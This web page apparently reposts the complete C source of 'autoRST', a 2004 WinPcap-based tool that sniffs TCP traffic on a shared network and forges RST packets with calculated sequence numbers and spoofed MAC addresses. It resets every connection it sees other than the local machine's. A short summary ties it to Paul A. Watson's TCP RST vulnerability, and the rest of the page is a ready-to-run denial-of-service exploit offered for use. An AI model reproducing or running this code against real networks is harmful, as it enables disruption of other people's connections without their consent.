学步园

Summary<br /> autoRST is an automated TCP RST exploit. It uses the Winpcap libraries to sniff for TCP packets on a network and then sends out a forged RST packet after calculating the appropriate sequence number and forging the MAC address. Makes use of the recent vulnerable released by Paul A. Watson. </p> <p>Details<br /> Exploit:<br /> /******************************************************************************************<br /> * autoRST<br /> * Matt Edman - Baylor University<br /> * 5/3/2004<br /> *<br /> * DESCRIPTION:<br /> * Sniffs out TCP connections on a non-switched network and attempts to reset them<br /> * by forging a RST packet in the correct window<br /> *<br /> * REQUIRED LIBRARIES:<br /> * -WinPCAP 3.1beta or higher<br /> * -WinPCAP developer's pack<br /> *<br /> * NOTES:<br /> * Just make sure you have WinPCAP 3.1beta or higher installed and the appropriate<br /> * winpcap header files downloaded and paths setup. Other than that, just start it　<br /> * up and let it do its job.<br /> ******************************************************************************************/<br /> #include <stdio.h><br /> // WinPCAP includes<br /> #include <pcap.h><br /> #include <remote-ext.h> </p> <p>// 6 byte MAC Address<br /> typedef struct mac_address {<br /> 　 u_char byte1;<br /> 　 u_char byte2;<br /> 　 u_char byte3;<br /> 　 u_char byte4;<br /> u_char byte5;<br /> u_char byte6;<br /> }mac_address;<br /> // 4 bytes IP address<br /> typedef struct ip_address{<br /> 　 u_char byte1;<br /> 　 u_char byte2;<br /> 　 u_char byte3;<br /> 　 u_char byte4;<br /> }ip_address;<br /> // 20 bytes IP Header<br /> typedef struct ip_header{<br /> 　 u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits)<br /> 　 u_char tos; // Type of service　<br /> 　 u_short tlen; // Total length　<br /> 　 u_short identification; // Identification<br /> 　 u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits)<br /> 　 u_char ttl; // Time to live<br /> 　 u_char proto; // Protocol<br /> 　 u_short crc; // Header checksum<br /> 　 ip_address saddr; // Source address<br /> 　 ip_address daddr; // Destination address<br /> // u_int op_pad; // Option + Padding -- NOT NEEDED!<br /> }ip_header;<br /> // 20 bytes TCP Header<br /> typedef struct tcp_header {<br /> u_short sport; // Source port<br /> u_short dport; // Destination port<br /> u_int seqnum; // Sequence Number<br /> u_int acknum; // Acknowledgement number<br /> u_char hlen; // Header length<br /> u_char flags; // packet flags<br /> u_short win; // Window size<br /> u_short crc; // Header Checksum<br /> u_short urgptr; // Urgent pointer...still don't know what this is...<br /> }tcp_header;<br /> // FUNCTION PROTOTYPES<br /> void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);<br /> void print_packet( u_char *pkt, int len );<br /> void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win );<br /> u_int iptoUINT( ip_address *ip );<br /> u_short csum (unsigned short *buf, int nwords);<br /> // GLOBAL VARIABLES<br /> pcap_t *adhandle; // The device handle<br /> u_int localaddr; // Local IP Address<br /> struct sockaddr_in *lSock; // Local socket structure </p> <p>int main( int argc, char *argv[] ) {<br /> pcap_if_t *alldevs;　<br /> pcap_if_t *d;<br /> int inum;<br /> int i=0;<br /> char errbuf[PCAP_ERRBUF_SIZE];<br /> char *localIP;<br /> // Get the list of adapters<br /> if ( pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1 ) {<br /> 　　　 fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);<br /> return 0;<br /> 　 }<br /> // Print the list of adapters -- from Winpcap sample code<br /> 　 for( d = alldevs; d != NULL; d = d->next ) {<br /> 　　　 printf("%d. %s", ++i, d->name);<br /> 　　　 if ( d->description )<br /> 　　　　　 printf(" (%s)/n", d->description);<br /> 　　　 else<br /> 　　　　　 printf(" (No description available)/n");<br /> 　 }<br /> 　 printf("Enter the interface number (1-%d):",i);<br /> 　 scanf("%d", &inum);　<br /> // Traverse the list to the selected adapter<br /> 　 for( d = alldevs, i = 0; i < inum-1; d = d->next, i++);<br /> // Get the local address<br /> lSock = (struct sockaddr_in *)(d->addresses->addr);　<br /> localaddr = lSock->sin_addr.S_un.S_addr;<br /> printf("%d/n", localaddr);<br /> localIP = inet_ntoa(lSock->sin_addr);<br /> printf("Local Addr: %s/n", localIP);<br /> // Open the device for the capture<br /> 　 if ( (adhandle = pcap_open( d->name,65536, PCAP_OPENFLAG_PROMISCUOUS, 10, NULL, errbuf ) ) == NULL) {<br /> fprintf(stderr,"/nUnable to open adapter: %s /n", d->name);<br /> 　　　 pcap_freealldevs(alldevs);<br /> 　　　 return -1;<br /> 　 }<br /> 　 printf("/nListening on %s.../n", d->description);<br /> 　 pcap_freealldevs(alldevs);<br /> 　 pcap_loop(adhandle, 0, packet_handler, NULL);<br /> return 0;<br /> }<br /> // CALLBACK function...called for each received packet<br /> void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) {<br /> u_int ip_len;<br /> mac_address *srcmac;<br /> mac_address *destmac;<br /> ip_header *iph;<br /> tcp_header *tcph;<br /> destmac = (mac_address *)pkt_data;<br /> srcmac = (mac_address *)(pkt_data + 6);<br /> 　 iph = (ip_header *) (pkt_data + 14);<br /> if( iph->proto == 0x06 ) { // TCP PACKETS<br /> if( localaddr != iptoUINT( &iph->saddr ) && localaddr != iptoUINT( &iph->daddr ) ) { // Don't reset our own connection<br /> 　ip_len = (iph->ver_ihl & 0xf) * 4;<br /> 　tcph = (tcp_header *)(pkt_data + 14 + ip_len);<br /> 　if( tcph->flags != 0x04 ) // If the RST flag is already set, no need sending another RST packet　<br /> 　 send_reset( srcmac, &iph->saddr, tcph->sport, destmac, &iph->daddr, tcph->dport, tcph->acknum, tcph->win );　<br /> }<br /> }<br /> }<br /> // Attempts to forge a RST packet and send it back to the source, resetting the TCP connection<br /> void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win ) {　<br /> u_short tcp_hdrcrc[16];<br /> u_short ip_hdrcrc[10]; </p> <p> u_short tcp_tos = htons(0x06);<br /> u_short tcp_hlen = htons(0x14);<br /> u_short ip_tos = htons(0x0800);<br /> ip_header iph;<br /> tcp_header tcph;<br /> u_char pkt[54];<br /> printf("Attempting to Reset: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d/n", srcip->byte1, srcip->byte2, srcip->byte3, srcip->byte4, ntohs(sport),<br /> 　　　　　　　　 destip->byte1, destip->byte2, destip->byte3, destip->byte4, ntohs(dport)); </p> <p> // Setup IP Header<br /> iph.ver_ihl = 0x45;<br /> iph.tos = 0x01;<br /> iph.tlen = htons(40);<br /> iph.identification = htons(0x0800);<br /> iph.flags_fo = 0x0;<br /> iph.ttl = 0xff;<br /> iph.proto = 0x06;<br /> iph.crc = 0x00;<br /> iph.saddr = *destip; // swap the source & dest ips<br /> iph.daddr = *srcip; </p> <p> // Setup TCP Header<br /> tcph.sport = dport; // swap the source & dest ports<br /> tcph.dport = sport;<br /> tcph.seqnum = htonl(ntohl(seqnum) + ntohs(win) - 2);<br /> tcph.acknum = tcph.seqnum + htonl(0x1);<br /> tcph.hlen = 0x50;<br /> tcph.flags = 0x04;<br /> tcph.win = win;<br /> tcph.urgptr = 0x00;<br /> tcph.crc = 0x00;　 </p> <p> // Calculate the IP Header Checksum<br /> memset(ip_hdrcrc, 0, 20);<br /> memcpy(ip_hdrcrc, &iph, 20);<br /> iph.crc = csum( ip_hdrcrc, 10 );<br /> // Construct the tcp pseudo-header for checksum calculation<br /> memset(tcp_hdrcrc, 0, 32);<br /> memcpy(tcp_hdrcrc, &tcph, 20);<br /> memcpy(&tcp_hdrcrc[10], &iph.saddr, 4);<br /> memcpy(&tcp_hdrcrc[12], &iph.daddr, 4);<br /> memcpy(&tcp_hdrcrc[14], &tcp_tos, 2);<br /> memcpy(&tcp_hdrcrc[15], &tcp_hlen, 2);<br /> tcph.crc = csum( tcp_hdrcrc, 16 );<br /> // Assemble the packet<br /> memcpy( pkt, (void *)srcmac, 6 );<br /> memcpy( (void *)(pkt + 6), (void *)destmac, 6 );<br /> memcpy( (void *)(pkt + 12), &ip_tos, 2);<br /> memcpy( (void *)(pkt + 14), &iph, 20 );<br /> memcpy( (void *)(pkt + 14 + sizeof( ip_header )), &tcph, 20 ); </p> <p> // Send the packet<br /> if (pcap_sendpacket(adhandle, pkt, sizeof( pkt )) != 0)<br /> fprintf(stderr,"/nError sending the packet: /n", pcap_geterr(adhandle));　<br /> }<br /> // Calculates the TCP Checksum based on the helper header<br /> u_short csum (unsigned short *buf, int nwords) {<br /> 　　　 unsigned long sum=0; </p> <p> for( sum=0; nwords > 0; nwords-- )<br /> 　　　　　　　 sum += *buf++;<br /> 　　　 sum = (sum >> 16) + (sum & 0xffff);<br /> 　　　 sum += (sum >> 16);　<br /> return (u_short)~sum;<br /> }<br /> // Takes in an ip_address structure and returns the equivalent 4byte UINT value<br /> u_int iptoUINT( ip_address *ip ) {<br /> u_int ipaddr;<br /> ipaddr = ip->byte4 | (ip->byte3 << 8);<br /> ipaddr = ipaddr | (ip->byte2 << 16);<br /> ipaddr = ipaddr | (ip->byte1 << 24);<br /> return htonl(ipaddr);<br /> }<br /> // Display the values in the packet on the screen<br /> void print_packet( u_char *pkt, int len ) {<br /> int i;<br /> printf("/tThe Packet/n------------------------------/n");<br /> for( i = 0; i < len; i++ ) {<br /> if(i%4==0)<br /> printf("/n");<br /> printf("0x%x ", pkt[i]);<br /> }<br /> printf("/n");<br /> }